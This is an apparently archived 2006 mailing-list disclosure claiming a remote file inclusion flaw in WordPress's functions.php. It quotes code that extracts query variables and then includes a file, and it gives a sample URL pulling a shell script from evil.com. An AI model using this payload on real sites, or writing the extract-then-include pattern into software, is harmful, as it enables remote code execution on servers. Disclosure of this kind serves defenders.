Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

SiteXpress SQL Injection

SiteXpress SQL Injection

[Full-disclosure] Advisory 14/2006: Dotdeb PHP Email Header Injection Vulnerability

ASPintranet SQL Injection

From:	vannovax_(at)_gmail.com <vannovax_(at)_gmail.com>
Date:	14.11.2006
Subject:	Wordpress File Inclusion

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
WordPress Remote File Inclusion
Download:http://wordpress.org/latest.zip
Found by _ANtrAX_ http://foro.c-group.org
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerable Code:   
{
  global $posts, $post, $wp_did_header, $wp_did_template_redirect, $wp_query,
      
     $wp_rewrite, $wpdb;

  
extract($wp_query->query_vars);

  
  require_once($file);
}
.....
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Affected File:
/wp-includes/functions.php =]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability:
www.site.com/wp-includes/functions.php?file=http://evil.com/shell.txt?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Greetz:V4MP1R3Z4, FRE4K , PENNISSMEN ,EL GROXO , DEYABU ROOLZ , MATASANOS,C-GROUP STAFF  . CHAPINHACK, SysRoot ¬¬